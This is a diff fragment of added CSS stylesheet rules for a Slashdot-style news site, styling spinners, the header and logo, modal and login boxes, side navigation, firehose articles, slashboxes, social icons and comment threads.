+.busy-firehose-ajax div.busy.genericspinner,
+.busy-firehose div.busy.genericspinner,
+.busy-firehose-udpate div.busy.genericspinner {
+display:inline-block;
+}
+*/
+
+div.busy.genericspinner {
+ display: none;
+ position: fixed;
+ bottom:0;
+ z-index:1;
+ width:100%;
+ left:0;
+ z-index: 2000000;
+ height: 22px;
+ text-align:center;
+}
+
+div.busy.genericspinner > span {
+ line-height:22px;
+ display: inline-block;
+ height: 22px;
+ overflow: hidden;
+ text-indent: 1.25em;
+ width: 100px;
+ color:rgb(255,255,255);
+ opacity:.75;
+
+
+ box-shadow: rgba(0,66,66,.75) 0 0 5px;
+ -moz-box-shadow: rgba(0,66,66,.75) 0 0 5px;
+ -webkit-box-shadow: rgba(0,66,66,.75) 0 0 5px;
+
+
+ background:rgb(0,66,66) url(//a.fsdn.com/sd/spinner_ffffff_on_004242.gif) no-repeat 8px 3px;
+ -moz-border-radius:6px 6px 0 0;
+ -webkit-border-radius:10px 10px 0 0;
+ border-radius:10px 10px 0 0;
+
+}
+
+
+#modal_prefs span.busy.spinner {
+background:transparent url(//a.fsdn.com/sd/spinner2.gif) no-repeat top left;
+ display: none;
+ height: 18px;
+ overflow: hidden;
+ position: absolute;
+ text-indent: 9999px;
+ width: 18px;
+ margin-left: 0.35em;
+ margin-top: 0.35em;
+ z-index:1;
+}
+
+.spinner .tag-server-busy.spinner {
+background:transparent url(//a.fsdn.com/sd/spinner2.gif) no-repeat top left;
+height:18px;
+width:18px;
+display:inline-block;
+overflow:hidden;
+text-indent:9999px;
+position:absolute;
+right:-1.5em;
+top:0.65em;
+}
+
+.fhitem-editor .tag-server-busy,
+article footer .tag-server-busy,
+#edit-busy.busy.spinner {
+position:absolute;
+background:transparent url(//a.fsdn.com/sd/spinner2.gif) no-repeat top left;
+height:18px;
+width:18px;
+top:0;
+left:-20px;
+text-indent:99999px;
+overflow:hidden;
+}
+
+#editor .subactionbuttons #edit-busy.busy.spinner {
+left:0;
+top:0;
+z-index:1;
+margin-left:0.35em;
+margin-top:0.35em;
+}
+
+.fhitem-editor .tag-server-busy {
+left:0;
+top:0;
+}
+
+menu.edit-bar .tag-bar .tag,
+menu.edit-bar .tag-bar .pseudo-tag {
+padding:0.1em .2em;
+-moz-border-radius:.5em;
+-webkit-border-radius:.5em;
+-o-border-radius:.5em;
+border-radius:.5em;
+}
+
+.edit-bar .disagree {
+cursor:pointer;
+font-size:.85em;
+padding:0.25em .3em;
+opacity:.5;
+padding:0.1em .275em;
+-moz-border-radius:.5em;
+-webkit-border-radius:.5em;
+-o-border-radius:.5em;
+border-radius:.5em;
+}
+
+.edit-bar .disagree:hover {
+background:rgb(51, 51, 51);
+background:-moz-linear-gradient(100% 100% 90deg, rgb(51, 51, 51), rgb(153,153,153) 70%) repeat scroll 0 0 rgb(51, 51, 51);
+background-image: -webkit-gradient(linear, 0% 0%, 0% 100%, from(rgb(153,153,153)), to(rgb(51, 51, 51)));
+background:-o-linear-gradient(top, rgb(153,153,153), rgb(51, 51, 51) 70%) repeat scroll 0 0 rgb(51, 51, 51);
+}
+
+.edit-bar .datatype .disagree {
+display:none;
+}
+
+.edit-bar .disagree:hover {
+opacity:1;
+}
+
+menu.edit-bar .tag-bar .tag:hover {
+background:rgb(153,153,153);
+background:-moz-linear-gradient(100% 100% 90deg, rgb(102,102,102), rgb(153,153,153) 70%) repeat scroll 0 0 rgb(102,102,102);
+background-image: -webkit-gradient(linear, 0% 0%, 0% 100%, from(rgb(153,153,153)), to(rgb(102,102,102)));
+background:-o-linear-gradient(top, rgb(153,153,153), rgb(102,102,102) 70%) repeat scroll 0 0 rgb(102,102,102);
+color:#fff;
+text-decoration:none;
+}
+
+menu.edit-bar .tag-bar .pseudo-tag:hover {
+background:#444;
+color:#fff;
+text-decoration:none;
+}
+
+.edit-bar .edit-toggle {
+display:inline-block;
+cursor:pointer;
+}
+
+.na2rel {
+clear:both;
+margin-left:1.5em;
+position:relative;
+overflow:hidden;
+}
+
+.view_mode .grid_12.tright .edit-bar {
+margin-top:-.4em;
+}
+
+.view_mode .tw > span.tright.tags {
+display:inline-block;
+padding-right:18px;
+}
+/*
+.view_mode .tw > span.tright.tags .edit-bar > a.edit-toggle {
+margin-right: 0.5em;
+}
+*/
+.view_mode .tw > span.tright.tags .edit-bar > a.edit-toggle > .ui-icon.button {
+margin-bottom:-.5em;
+}
+
+.view_mode .cc {
+text-indent:18px;
+}
+
+.view_mode .grid_12.tw,
+.view_mode .grid_24.tw,
+.view_mode .grid_12.cc {
+height:auto;
+}
+
+/* HEADER */
+header.h {
+ background:rgb(201,205,205);
+ margin-top:-12px;
+ margin-left:0;
+ padding-top:12px;
+ width:100%;
+ z-index:11;
+}
+
+header.h h1 {
+ display:inline;
+ margin-right:10em;
+}
+
+header.h form input[type=submit] {
+ display:none;
+}
+
+
+#logo a,
+#logo_nf a {
+ background:transparent url(//a.fsdn.com/sd/logo_w_l.png) no-repeat top left;
+ float:left;
+ text-indent:-999999px;
+ margin:10px 10px 0 10px !important;
+ height: 20px;
+ width: 138px;
+}
+
+#logo_nf a {
+ margin-top:6px !important;
+}
+
+#logo a.armband {
+ background:transparent url(//a.fsdn.com/sd/logo_w_b.png) no-repeat top left !important;
+}
+
+
+#modal_box #logo,
+#modal_box .ico.close {
+position:fixed;
+z-index:2;
+}
+
+#modal_box #logo a,
+#logo.in_modal_iframe a {
+ background:transparent url(//a.fsdn.com/sd/logo.png?release_20130117) no-repeat top left;
+}
+
+#modal_box.no_scrollbars {
+overflow: hidden;
+/*
+padding-right:0px;
+padding-bottom:0px;
+*/
+}
+
+#modal_box.no_scrollbars.no_scrollbars #modal_box_content {
+position: absolute;
+right: 0;
+bottom: 0;
+}
+
+#modal_box h3 {
+position:absolute;
+top:0px;
+/*z-index:1;*/
+}
+
+#modal_box.no_scrollbars #modal_box_content{
+ position:relative;
+top:0px;
+width:100%;
+height:100%;
+margin-top:0px;
+}
+
+/*
+#modal_box.no_scrollbars a.ico.close {
+float: right;
+position: absolute;
+right: 30px;
+top:1px;
+}
+*/
+
+#modal_box span.pf {
+position: absolute;
+top: 1em;
+right: 2em;
+}
+
+#modal_box.no_scrollbars span.pf {
+right:3.2em;
+}
+
+#modal_box h3.pf {
+position: absolute;
+top: .5em;
+left: .5em;
+}
+
+#modal_box span.pf .close {
+position:fixed;
+z-index:2;
+}
+
+#modal_box h3.pf #logo {
+position:fixed;
+z-index:2;
+}
+/*
+#modal_box a.ico.close {
+position: absolute;
+right: 30px;
+top:1px;
+}
+*/
+#modal_box header.n {
+/*position: absolute;*/
+top: 1px;
+left: 1px;
+/*display: block;
+height: 50px;*/
+width: 100%;
+}
+
+#modal-p > .pref,
+#modal_box:not(.no_scrollbars) .n .fadeout,
+#modal_box:not(.no_scrollbars) .n .fadeoutfade,
+#modal_box_content .pref {
+background:rgb(255,255,255);
+box-shadow: rgb(255,255,255) 0 11px 10px;
+-moz-box-shadow: rgb(255,255,255) 0 11px 10px;
+-webkit-box-shadow: rgb(255,255,255) 0 11px 10px;
+}
+
+
+
+
+
+
+#modal_box:not(.no_scrollbars) .n .fadeout {
+position: fixed;
+height: 3.5em;
+width: 70%;
+left: 10%;
+top: 30px;
+margin-left: 20px;
+
+}
+
+#modal_box:not(.no_scrollbars) .n .fadeoutfade {
+position: fixed;
+height: 3.5em;
+width: 10%;
+right: 10%;
+top: 30px;
+margin-right: 20px;
+}
+
+
+
+
+
+
+#modal_box.join:not(.no_scrollbars) .n .fadeout {
+width:430px;
+left:11%;
+margin:0 0 0 24.5%;
+}
+
+.join .fadeoutfade {
+display:none !important;
+}
+
+
+#modal_box iframe {
+height: 100%;
+position: absolute;
+overflow-y: scroll;
+overflow-x: hidden;
+top: 0px;
+left: 0px;
+width: 100%;
+}
+
+/*
+#embbeded_login_modal.push,
+#modal_box.push:not(.submit) {
+margin-top:9em !important;
+}
+*/
+
+#modal_box #preference_title {
+display:none;
+}
+
+#embbeded_login_modal
+{
+ position:fixed;
+ top:1em;
+ right:20px;
+ z-index:1000;
+ display:none;
+ background:#fff;
+ background-color:rgba(255,255,255,.95);
+
+ box-shadow: rgb(102,102,102) 0 1px 15px;
+ -moz-box-shadow: rgb(102,102,102) 0 1px 15px;
+ -webkit-box-shadow: rgb(102,102,102) 0 1px 15px;
+ -moz-border-radius:1em;
+ -webkit-border-radius:1em;
+ border-radius:1em;
+
+}
+
+#embbeded_login_modal form label
+{
+ line-height: 20px;
+ padding-right: 2px;
+ width: 70px;
+}
+#embbeded_login_modal form input[type=text]
+{
+ min-width: 180px;
+ padding: 2px;
+}
+#embbeded_login_modal form input[type=password]
+{
+ min-width: 180px;
+ padding: 2px;
+}
+
+#embbeded_login_modal form fieldset{
+margin-bottom:0;
+padding:1em;
+}
+
+#search { display:inline; position:relative; z-index:2}
+ #search .search { height:22px; left:2px; position:absolute; top:-4px; width:22px; z-index:4;}
+
+#searchquery {
+ background:rgb(245,245,245);
+ background-image: -moz-linear-gradient(0 5px 90deg,rgb(245,245,245), rgb(245,245,245), rgb(200,200,200) 100%);
+ background-image: -webkit-gradient(linear, 0% 10%, 0% 0%, from(rgb(245,245,245)), to(rgb(200,200,200)));
+ border-radius:4px;
+ -moz-border-radius:4px;
+ -webkit-border-radius:4px;
+ height:1em;
+ line-height: 1em;
+ margin: 7px 0 10px;
+ text-indent:1.5em;
+ border: none;
+}
+
+#searchquery {min-width:160px;width:160px;}
+
+#searchquery input[type=text]:focus {border: none}
+
+header nav { margin: 5px 0 0 15px; font-size: 1em; font-weight: bold !important; }
+ header nav .btn.link a,
+ header nav .btn.link:active a,
+ header nav .btn.link:active:hover a,
+ header nav .btn.link:hover a,
+ header nav .btn.link,
+ header nav .btn.link:active,
+ header nav .btn.link:active:hover,
+ header nav .btn.link:hover { cursor: pointer; color:rgb(255,255,255) !important; text-shadow:0 1px rgb(0,47,47) !important;}
+ header nav .btn.link {float: right !important;padding-left:7px;padding-right:7px;}
+
+.slogan { display: none; font-weight:bold; color:rgb(54,54,54); line-height:1.25em; height:60px; }
+ .slogan div { margin-left:-1.5em; width:144%; }
+
+/* SIDE NAVIGATION */
+nav#links { display:block; }
+nav#links > ul,
+nav > nav > ul,
+nav.left_menu > ul,
+#sg_hof_mvtest_lnav
+{
+margin:0;
+min-width:87px;
+padding:0;
+position:relative;
+z-index:10;
+max-width:104px;
+}
+
+nav.left_menu li {
+ text-transform:lowercase;
+ list-style:none;
+ padding:10px 0 0;
+ margin:0 .75em 0 0;
+ text-align:left;
+ font-weight:bold;
+ clear:both;
+ position:relative;
+}
+
+nav.left_menu li a {
+ font-weight:bold;
+}
+
+nav.left_menu h1 {font-size: 1em !important;}
+
+nav.left_menu li.active {
+margin-bottom: 0.025em;
+margin-left: -0.5em;
+margin-top: 0.75em;
+width:auto;
+padding-right:.75em;
+padding-left: 0.5em;
+padding-top: 0 !important;
+display:inline-block;
+}
+
+nav#links li.enhancedspacer {
+background: #cccccc;
+display: block;
+height: 1px;
+padding: 0;
+margin: 1em 0 0 -13px;
+width: 12px;
+border-width: 1px 1px 1px 0;
+border-style: solid;
+border-color: #BABABA;
+}
+
+<!-- this should only show logged in
+#firehose-sections li {
+cursor:move;
+}
+-->
+
+nav.left_menu li a.links-sections-edit {
+display:block;
+float:right;
+height:10px;
+margin-left:4px;
+margin-top:6px;
+text-indent:-999999px;
+width:10px;
+position:absolute;
+right:-12px;
+top:5px;
+}
+
+nav.left_menu li:hover a.links-sections-edit {
+background-position:-304px -82px;
+background-image: url('//a.fsdn.com/sd/classic/img/glyphish-icons-16.png');
+}
+
+nav.left_menu li.active a {
+ color:rgb(76,76,76);
+ text-decoration:none;
+}
+
+/* COMMON */
+.lfold {
+-webkit-border-radius:0 0 0 10em;
+-moz-border-radius:0 0 0 10em;
+-o-border-radius:0 0 0 10em;
+border-radius:0 0 0 10em;
+background:rgb(125,125,125);
+display:block;
+height:4px;
+margin-left:-4px;
+margin-top:-1px;
+overflow:hidden;
+width:4px;
+float:left;
+}
+
+.rfold {
+-webkit-border-radius:0 0 10em 0;
+-moz-border-radius:0 0 10em 0;
+-o-border-radius:0 0 10em 0;
+border-radius:0 0 10em 0;
+background:rgb(125,125,125);
+display:block;
+height:4px;
+margin-right:-4px;
+margin-top:-1px;
+overflow:hidden;
+width:4px;
+float:right;
+clear:both;
+}
+
+nav.left_menu .rfold {
+height:4px;
+margin-right:-3px;
+margin-top:0;
+width:4px;
+}
+
+/* CONTENT */
+#fix .fix {
+/*
+ position: fixed;
+ padding: 11px 0 0;
+ margin: 0 0 10px 1px;
+ top: 40px;
+*/
+ z-index: 1000;
+}
+
+body > section {
+background:#fff;
+}
+
+#content {
+ position:relative;
+ padding: 20px 0 15px;
+ z-index: 1;
+ min-height:560px;
+ width:100%;
+ background:#fff;
+ border-color:rgb(186,186,186);
+ border-style:none solid none;
+ border-width:1px;
+ margin:0;
+ min-width:934px;
+}
+
+#fix .col_2 {height: 10px; position: fixed; z-index: 1;}
+
+.active article {
+ border:0 !important;
+ margin-bottom:1em !important;
+ margin-top:1.75em;
+}
+
+.most-active header p {margin-bottom: 5px; padding-right: 80px;}
+.most-active article {
+ border:0 !important;
+ margin-top:10px;
+}
+.most-active article,
+.most-active article h2,
+.most-active article h2 a {
+ text-align:center;
+}
+#firehose .most-active article h2 a {
+ height: inherit;
+ width: inherit;
+ color:rgb(0,102,102);
+}
+
+#firehose .most-active article header {
+ margin: 0 0 0 10% !important;
+ width:60% !important;
+ min-width:100px;
+ -moz-border-radius:4px;
+ -webkit-border-radius:4px;
+ border-radius:4px;
+ height:126px;
+ min-height:126px;
+}
+
+#firehose .most-active article header h2 {
+ padding:0 !important;
+ margin:10px 0 0;
+ clear:both;
+ font-size:.9em !important;
+ line-height:1.2em !important;
+}
+
+#firehose article.most-active header h2 {
+margin-right:0em !important;
+background:none !important;
+}
+
+.most-active nav {
+ text-align:right;
+ float:right;
+ width:60px;
+}
+
+.most-active nav a{
+display:block;
+float:left;
+border:1px solid rgb(204,204,204);
+color:rgb(102,102,102);
+margin:0 4px;
+line-height:12px;
+letter-spacing:2px;
+width:14px;
+height:14px;
+-moz-border-radius:16px;
+-webkit-border-radius:16px;
+-o-border-radius:16px;
+border-radius:16px;
+padding:3px 0px 0 2px;
+}
+
+.most-active nav a,
+.most-active nav a:hover{
+ text-decoration:none;
+}
+
+.most-active article .topic2 {
+ float:left;
+}
+
+article.briefarticle aside {background: none !important; border: none !important; position: absolute; top: -43px; left: 2px; z-index: 1;}
+article.briefarticle {margin-bottom:10px; position:relative;}
+
+article.briefarticle,
+article.briefarticle header:before,
+article.briefarticle header:after {
+ background:none !important;
+ border:0 !important;
+}
+
+#firehose article.briefarticle header {
+ -moz-border-radius:10px;
+ -webkit-border-radius:10px;
+ border-radius:10px;
+ padding-right:8px;
+ width:100%;
+ padding-left:0 !important;
+ left:0px !important;
+}
+
+.list article.briefarticle {
+height: auto;
+}
+
+.list > .grid_24 {
+margin-left:0;
+}
+
+#firehose.list article.briefarticle header {
+margin-bottom:0
+}
+
+.briefarticle p,
+.briefarticle .topic,
+.briefarticle footer a span,
+.briefarticle footer br,
+.briefarticle .details,
+.briefarticle .tags,
+.briefarticle .body {
+display:none;
+}
+
+
+.briefarticle footer {
+ margin-bottom:.5em !important;
+}
+
+.tray {
+ height:60px;
+}
+
+/* FHITEM + SLASHBOX */
+#slashboxes .wrapper {
+ margin:0 1em 0 1em;
+}
+
+#firehose .wrapper {
+ margin:0 .5em 0 1em;
+}
+
+#slashboxes article {
+clear:left;
+width: 298px;
+background:rgb(230,230,230);
+-moz-border-radius:0 10px 0 10px;
+-webkit-border-radius:0 10px 0 10px;
+-o-border-radius:0 10px 0 10px;
+border-radius:0 10px 0 10px;
+border-color:#CCCCCC;
+border-style:solid;
+border-width:0 1px 1px;
+}
+
+
+#slashboxes article, #firehose article, #comments article { color: rgb(54,54,54); display: block; }
+#slashboxes article, #comments article { margin-bottom: 20px; }
+#firehose article:not(.briefarticle) { margin-bottom: 10px;}
+#firehose article {position:relative;}
+#firehose article > aside, #firehose article header { display:block; }
+#firehose article > aside { padding: 0 0 4em; clear:both; }
+article > aside:not(.view_mode) strong { padding-left:.75em; }
+
+.vote a, .vote a:hover, .voteddown a, .voteddown a:hover, .votedup a, .votedup a:hover { text-decoration:none; }
+#firehose article > aside.novote { display: none; }
+#firehose #editor article > aside.novote { margin-right:0 }
+#firehose #editor article > aside { padding:1em 0 0 0; }
+#firehose article > aside.novote .tags { float:right; }
+
+
+
+
+
+/* Social */
+
+.tab_rss {
+ position: absolute;
+ bottom: -20px;
+ right: 20px;
+}
+
+
+#slashboxes .synd { margin-top:0; margin-left:45px; height: 40px; }
+
+.synd .syndlabel {
+float:left;
+width:80px
+}
+
+.synd .resjobs {
+background-position: -107px -203px;
+}
+
+.synd .resnewsletter {
+background-position:-345px -107px;
+}
+
+.synd .reslibrary {
+background-position: -250px -492px;
+}
+
+
+.synd > span {
+ width:auto;
+ line-height:32px;
+ margin-right:1em;
+}
+
+.synd > li {
+ width:64px;
+ border-bottom:none !important;
+}
+
+.synd > li > div {
+ margin-bottom:1em;
+}
+
+.synd .rss,
+.synd .tw,
+.synd .fb,
+.synd .gp {
+ display:block;
+ overflow:hidden;
+ width:24px;
+ height:24px;
+ line-height:24px;
+ text-indent:-99999px;
+}
+
+.synd .tw {
+ background: transparent url('//a.fsdn.com/sd/classic/img/twitter_24.png?1') no-repeat scroll top left;
+}
+
+.synd .fb {
+ background: transparent url('//a.fsdn.com/sd/classic/img/facebook_24.png') no-repeat scroll top left;
+}
+
+.synd .gp {
+ background: transparent url('//a.fsdn.com/sd/classic/img/gplus_24.png') no-repeat scroll top left;
+}
+
+.synd .n1l {
+float: right;
+margin: 0 0 25px 20px;
+width: 24px;
+height: 26px;
+overflow: hidden;
+text-indent: 9999px;
+display:block;
+line-height:38px;
+}
+
+#modal_box .pref {
+padding: 0 0 1em 0;
+}
+
+.wait {
+display:block;
+}
+
+.wait > .ui-icon {
+background-position: -4px -71px;
+display:inline-block;
+width:22px;
+height:22px;
+overflow:hidden;
+}
+
+.ui-icon.i2pref {
+height:28px;
+margin:0;
+padding:0;
+text-indent:-99999px;
+overflow:hidden;
+width:28px;
+background-position:-256px -66px;
+}
+
+.ui-icon.flag {
+width: 22px;
+height: 22px;
+overflow: hidden;
+text-indent:-99999px;
+opacity:.5;
+background-position: -261px -197px;
+z-index:1;
+position:relative;
+}
+
+.ui-icon.staff {
+display: inline-block;
+width: 22px;
+height: 22px;
+background-position: -4px -386px;
+}
+
+.ui-icon.faqtoggle {
+height:22px;
+margin:0;
+padding:0;
+text-indent:-99999px;
+overflow:hidden;
+width:22px;
+}
+
+.logoutgx.ui-icon {
+float:right;
+display: inline-block;
+width: 22px;
+height: 24px;
+overflow: hidden;
+text-indent: -99999px;
+background-image: url('//a.fsdn.com/sd/classic/img/glyphish-icons-16-w.png') !important;
+background-position:-198px -611px;
+}
+
+.ui-icon.faqtoggle.on {
+background-position: -292px -454px;
+}
+
+.ui-icon.faqtoggle.off {
+background-position: -260px -454px;
+}
+
+
+.ui-icon.journal_delete,
+.ui-icon.journal_edit {
+display:inline-block;
+overflow:hidden;
+text-indent:-99999px;
+width:22px;
+height:22px;
+float:left;
+}
+
+.ui-icon.journal_edit {
+background-position:-292px -69px
+}
+
+.ui-icon.journal_delete {
+background-position:-4px -3px
+}
+
+.ui-icon-32 {
+background-image: url('//a.fsdn.com/sd/classic/img/glyphish-icons-32.png') !important;
+}
+
+
+.firehose .reject .ui-icon {
+border:0;
+width:22px;
+height:22px;
+background-image: url('//a.fsdn.com/sd/classic/img/glyphish-icons-16-w.png') !important;
+background-position:-4px -4px;
+background-color:transparent !important;
+padding:0;
+margin:0 .5em 0 0;
+-moz-box-shadow:none !important;
+-webkit-box-shadow:none !important;
+box-shadow:none !important;
+right:3em;
+position:absolute;
+}
+
+.firehose .reject button.ui-state-hover,
+.firehose .reject button:hover:active {
+border:0 !important;
+padding:0 !important;
+margin:0 .5em 0 0 !important;
+background-position:-4px -4px !important;
+}
+
+header.col_wrapper nav .opt {
+display:none;
+}
+
+.top-navigation .upref {
+display:inline-block;
+height:9px;
+overflow:hidden;
+text-indent:-99999px;
+width:9px;
+background-image: url('//a.fsdn.com/sd/classic/img/glyphish-icons-16-w.png') !important;
+background-position:-305px -82px !important;
+-moz-border-radius-topleft:3px;
+-o-border-radius-topleft:3px;
+border-radius-topleft:3px;
+-webkit-border-top-left-radius: 3px;
+}
+
+#slashboxes .synd .ui-icon.rss {
+ background: transparent url('//a.fsdn.com/sd/classic/img/rss_24.png') no-repeat scroll top left !important;
+ height:24px;
+ width:24px;
+}
+
+#slashboxes .synd li a {display:block;}
+
+.tab_rss { position: absolute; bottom: -20px; right: 20px; }
+.synd {text-align: right;}
+ .synd .rss, .synd .tw, .synd .fb, .synd .gp { float: right; margin: 0 0 25px 20px; width:24px; height:24px; overflow: hidden; text-indent:9999px; }
+ .synd .tw { background: transparent url('//a.fsdn.com/sd/classic/img/twitter_24.png?1') no-repeat top left; }
+ .synd .fb { background: transparent url('//a.fsdn.com/sd/classic/img/facebook_24.png') no-repeat top left; }
+ .synd .rss { background: transparent url('//a.fsdn.com/sd/classic/img/rss_24.png') no-repeat top left; margin: 0 0 25px 5px;}
+
+#modal_box .pref { padding: 0 0 1em 0; }
+.ui-icon.i2pref { height:28px; margin:0; padding:0; text-indent:-99999px; overflow:hidden; width:28px; background-position:-256px -66px; }
+.vote .down:hover, .vote .up:hover, .tw:hover, .fb:hover {opacity: .8;}
+#slashboxes article header { background:rgb(76,76,76); border-radius:0 10px 0 0; -moz-border-radius:0 10px 0 0; -webkit-border-radius:0 10px 0 0;display:block; margin:0 -1px; }
+
+#slashboxes article header, #slashboxes article header a { color:rgb(255,255,255); }
+
+#editor.slashdotthis header > h2.firehose,body.slashdot-it li.comment.full h4, #slashboxes article header h2, #firehose article header h2, #comments h4, #modal_box #editor h2.firehose, .generaltitle h3 { font-weight:bold; font-family: arial, serif; margin:0; padding:4px 20px; }
+
+#comments .full .title h4 { margin:-1px -1px 0; }
+#comments .oneline .full .title h4 { padding-left:0; }
+#comments .oneline .replyto_reply .full .title h4 { padding-left:20px; }
+
+
+#comments .full .title > h4,
+#comments .oneline,
+#comments .oneline > div {
+cursor:pointer
+}
+
+.oneline > div > div.commentBody > div .quote,
+.oneline > div > div.commentBody > div blockquote {
+margin:0 !important;
+border:0 !important;
+padding: 0 0 0 0.4em !important
+}
+
+.oneline > div > .commentBody {
+ color: #7D7D7D !important;
+/* line-height: 40px;*/
+ text-indent: 6px;
+}
+
+.slashdot-it li.oneline .details,
+.slashdot-it li.oneline .commentBody {
+ cursor: pointer;
+}
+
+.oneline > div > .commentBody a {
+ color: #7D7D7D !important;
+ text-decoration:none;
+}
+
+header.h hgroup {
+display:block;
+height:40px;
+-moz-box-shadow:0 1px 3px rgba(0,0,0,.6);
+-webkit-box-shadow:0 1px 3px rgba(0,0,0,.6);
+box-shadow:0 1px 3px rgba(0,0,0,.6);
+}
+
+footer#ft {
+ clear: both;
+/* height: 2em;*/
+ position: relative;
+ top: -13px;
+ margin-bottom:-8px;
+}
+
+#fhft,
+footer#ft {
+min-width: 933px;
+}
+
+#firehose > .grid_24 > .msg,
+#firehose-message-tray.msg {
+width: 100%;
+margin-top: -20px;
+margin-bottom: -9px !important;
+float:left;
+}
+
+#firehose-message-tray > p {
+margin-right:2px;
+}
+
+blockquote.msg {
+width:100%;
+margin:0;
+}
+
+.bq {
+margin-left: 120px;
+margin-right: 336px;
+position:relative;
+top:-19px;
+margin-top:19px;
+z-index:0;
+min-width: 478px;
+display:inline-block;
+background:none;
+
+}
+
+#editor.slashdotthis header > h2.firehose,
+body.slashdot-it li.comment.full .title h4,
+header.h hgroup, #firehose article header h2,
+#comments h4, #modal_box #editor h2.firehose,
+.pollBooth_view .title h3, .bar .barColor,
+#d2header > div > nav,
+footer.nf
+{
+background: rgb(0,66,66);
+background-image: -webkit-gradient(linear, 0% 0%, 0% 100%, from(rgb(0,102,102)), to(rgb(0,66,66)));
+background-image: -moz-linear-gradient(100% 100% 90deg,rgb(0,66,66), rgb(0,102,102) 100%);
+background-image: -o-linear-gradient(top, rgb(0,102,102), rgb(0,66,66) 100%);
+border-radius: 10px 0 0 0;
+-moz-border-radius: 10px 0 0 0;
+-webkit-border-radius: 10px 0 0 0;
+-o-border-radius: 10px 0 0 0;
+color:rgb(255,255,255);
+}
+
+#firehose article:not(.fhitem-story) header h2 {
+background: rgb(205,205,205);
+background-image: -webkit-gradient(linear, 0% 0%, 0% 100%, from(rgb(236,236,236)), to(rgb(205,205,205)));
+background-image: -moz-linear-gradient(100% 100% 90deg,rgb(205,205,205), rgb(236,236,236) 100%);
+background-image: -o-linear-gradient(top, rgb(236,236,236), rgb(205,205,205) 100%);
+color:rgb(0,0,0);
+}
+#firehose article:not(.fhitem-story) header h2 a {color:rgb(0,0,0);}
+#firehose article:not(.fhitem-story) header h2 .ui-icon {background-image: url('//a.fsdn.com/sd/classic/img/glyphish-icons-16.png') !important;}
+
+
+#firehose .fhitem-feed header .skin {color: rgb(0,102,102);}
+#firehose .fhitem-story header .skin {color: rgba(255, 255, 255, 0.5);}
+#firehose article header cite.spam {color: rgb(255, 0, 0) !important;}
+
+
+h2.future {
+background: rgb(153,0,0) !important;
+background-image: -moz-linear-gradient(100% 100% 90deg,rgb(102,0,0), rgb(153,0,0) 100%) !important;
+background-image: -webkit-gradient(linear, 0% 0%, 0% 100%, from(rgb(153,0,0)), to(rgb(102,0,0))) !important;
+background-image: -o-linear-gradient(top, rgb(153,0,0), rgb(102,0,0) 100%) !important;
+}
+
+#firehose.list article header h2 { background-image:none !important; }
+#editor.slashdotthis header > h2.firehose,#firehose article header h2, #firehose article {-moz-border-radius: 10px 0 0 0; -webkit-border-radius: 10px 0 0 0;border-radius: 10px 0 0 0; }
+
+#firehose article.briefarticle header h2 { -moz-border-radius: 10px; -webkit-border-radius: 10px;border-radius: 10px; padding-right:3.7em; overflow: hidden; }
+#editor.slashdotthis header > h2.firehose,#editor.slashdotthis header > h2.firehose a,#firehose article header h2, #firehose article header h2 a { color:rgb(255,255,255); }
+
+.na2rel .fadeout,
+#a2footer .fadeout {
+cursor:pointer;
+height: 68%;
+position: absolute;
+right: 0;
+top: 5px;
+z-index:2;
+background:#E1E1E1;
+box-shadow: #E1E1E1 -10px 0px 8px;
+-moz-box-shadow: #E1E1E1 -10px 0px 8px;
+-webkit-box-shadow: #E1E1E1 -10px 0px 8px;
+width:14px;
+}
+
+.na2rel .fadeout {
+background:#FFFFFF;
+box-shadow: #FFFFFF -10px 0px 8px;
+-moz-box-shadow: #FFFFFF -10px 0px 8px;
+-webkit-box-shadow: #FFFFFF -10px 0px 8px;
+right: -1px;
+height: 100%;
+top: 0;
+cursor:text;
+}
+
+.na2rel a {
+display:inline-block;
+white-space:nowrap;
+}
+
+
+#editor.slashdotthis .author > .fn {
+font-style:normal;
+}
+
+#editor.slashdotthis .view_mode > #a2footer {
+display:none;
+}
+
+#editor .captcha > .humanconf_questions,
+#editor .tag_widget > label.fleft {
+width:160px;
+float:left;
+padding-left:0;
+}
+
+
+#modal_box #editor .fleft.w160,
+#modal_box #editor .captcha > .humanconf_questions,
+#modal_box #editor .tag_widget > label.fleft
+{
+width:90px !important;
+padding-left:0;
+}
+
+#modal_box #editor label[for=email] {
+line-height:1em;
+}
+
+#editor.state-is-fullpage form .message {
+margin-left:150px;
+}
+
+#editor.slashdotthis header .details,
+#firehose article header .details,
+#comments article header .details,
+#comments .full .detail,
+#modal_box #editor #editpreview .details,
+#a2footer
+{
+margin:0; padding:6px 20px; color:rgb(77,77,77); font-size:.85em; line-height:1.2em; background:rgb(225,225,225); }
+ #firehose article header .details a { color:rgb(51,51,51); }
+ #firehoselist .details a {font-weight: bold; color:rgb(125,125,125);}
+#editor.slashdotthis header {position:relative;}
+#editor.slashdotthis header .topic, #firehose article header .topic, #editpreview article header .topic { overflow: hidden; height:64px; width:auto; position: absolute; top: 20px; right: 26px; max-width:100px; }
+#firehose article.article header span.topic.thumbimg,
+.fhitem-journal header > .topic
+{height: auto;width: auto;position:relative;float:right;margin:0 0 1.75em 1.75em}
+.a2 article.article.thumbs .thumbimg {display:none;}
+#firehose .media {text-align: center;}
+#firehose .media img {margin: 1em auto;}
+article #media > div {width:auto !important;}
+.stories-view article.article p.media {display:none;}
+
+/* COMMENTS */
+#comments { clear:both; display:block; position:relative; padding: 0; margin: 0 0 0 122px; padding-right: 1.5em;z-index:1;}
+.noslashboxes #comments {margin: 0 0 0 0;}
+#comments.d2incommentspl { margin-left:0; margin-right:0; }
+.commentspl > .notice.pcna {display:none;}
+.commentwrap { padding:0 0 30px 0;}
+.a2commentwrap .commentwrap { margin-top:-1.5em;}
+#comments .btn.link {padding-left: 0; text-decoration: underline;}
+#comments .btn.link.reply {font-weight: bold; padding-left: 0;}
+
+#comments ul#commentlisting li.oneline > ul {float:left;width:100%}
+
+
+#comments ul ul,#comments ul li ul li {margin: 0 10px 0px !important;}
+#comments ul.d1 li ul li {margin: 0 10px 10px 30px !important;}
+ul#commentlisting.d1 .title > h4 > a[name] {cursor:text;}
+#comments .inline_comment ul#commentlisting, #comments .inline_comment ul#commentlisting li {margin: 0 0 10px !important;}
+.full .current {display: inline-block; margin-left:-16px;margin-top: -.55em;position:absolute;font-size:4em;}
+.oneline .full .current {margin-left:-36px;}
+.oneline > .current {display: inline-block;margin-left: -0.5em;margin-top: -0.65em;position:absolute;font-size:4em;opacity:.35}
+
+
+
+
+
+body.slashdot-it #commentlisting > li.oneline {
+line-height:40px;
+}
+
+
+
